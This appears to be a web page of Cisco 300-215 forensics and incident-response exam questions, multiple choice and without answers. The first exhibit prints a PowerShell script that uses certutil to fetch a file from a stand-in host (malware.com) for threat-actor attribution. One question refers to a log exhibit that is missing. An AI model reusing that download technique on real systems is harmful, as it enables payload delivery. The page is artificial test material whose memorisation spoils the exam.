Cisco 300-215 echte frage : Conducting Forensic Analysis & Incident Response Using Cisco Technologies for CyberOps

Refer to the exhibit.
$datePath = " certutil-$(Get-Date -format yyyy_MM_dd) "
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f https://malware.com/XY874HZ.txt
Get-ChildItem | Where-Object {$_.Name -notlike " *.txt " } | ForEach-Object { Move-Item $_.Name -Destination XY874HZ.txt
}
During a threat-intelligence review, a cybersecurity analyst evaluates artifacts from a recent incident involving a compromised server. The artifacts include a script that uses certutil to download files from a suspicious URL. This finding is critical for determining the threat-actor profile responsible for the attack.
Which threat-actor profile aligns with the artifacts?

• A. APT41 employed certutil to download additional files onto compromised hosts.
• B. Cobalt Group used certutil to exfiltrate files from victim systems.
• C. Frankenstein gathered data to forward automatically to the command-and-control server.
• D. Leviathan leveraged BITSAdmin to acquire tools and propagate within the network.

Rotor to the exhibit.

A cybersecurity analyst must analyst the logs from an Apache server for the client. The concern is that an offboarded employee home IP address was potentially used to access the company web server via a still active VPN connection Based on this log entry, what should an analyst conclude?

• A. An employee has accessed a web page on the server
• B. An ex employee planted malware on the server
• C. A worker uploaded a file to the server
• D. A file was downloaded from the server

Which challenge is introduced by the dynamic nature of cloud environments during forensic analysis?

• A. Forensic tools are incompatible with the virtualized infrastructure platforms used in modern cloud deployments.
• B. Investigators cannot obtain any relevant logs from cloud service providers during investigations.
• C. Data cannot be stored persistently in cloud storage services across distributed infrastructure.
• D. Resources can be rapidly provisioned and deprovisioned, which can lead to the loss of critical forensic evidence.

A security analyst receives a notification from SIEM that an internal host has active connections to Tor exit nodes. The analyst investigates SIEM events related to the workstation and identifies that the host scans networks for servers with an opened TCP port 1433 An antivirus scan of the workstation does not determine any suspicious activity Which two actions must the analyst take to mitigate this behavior? (Choose two.)

• A. Create a Cisco Secure Network Analytics notification rule to further investigate port scanning activity
• B. Configure SIEM alert rules to perform quick response and mitigation
• C. Block any connection to TCP port 1433 from external sources.
• D. Deploy EDR and SOAR for automatic quarantine of actions from suspicious hosts
• E. Block Tor nodes via an NGFW and restrict access to SQL only from trusted sources

A security team receives a SIEM notification that Cisco Secure Network Analytics detects abnormally high uploads from an internal workstation to external IP addresses over UDP port 53. Investigation confirms that the addresses are known malicious command-and-control servers. Which two actions effectively block these connections and prevent similar incidents? (Choose two.)

• A. Block all UDP port 53 connections from the company network to the Internet.
• B. Configure firewall Security Intelligence to block command-and-control traffic.
• C. Add the malicious sources to the blacklist.
• D. Allow DNS traffic only to trusted destinations.
• E. Deploy an anti-malware solution on the next-generation firewall.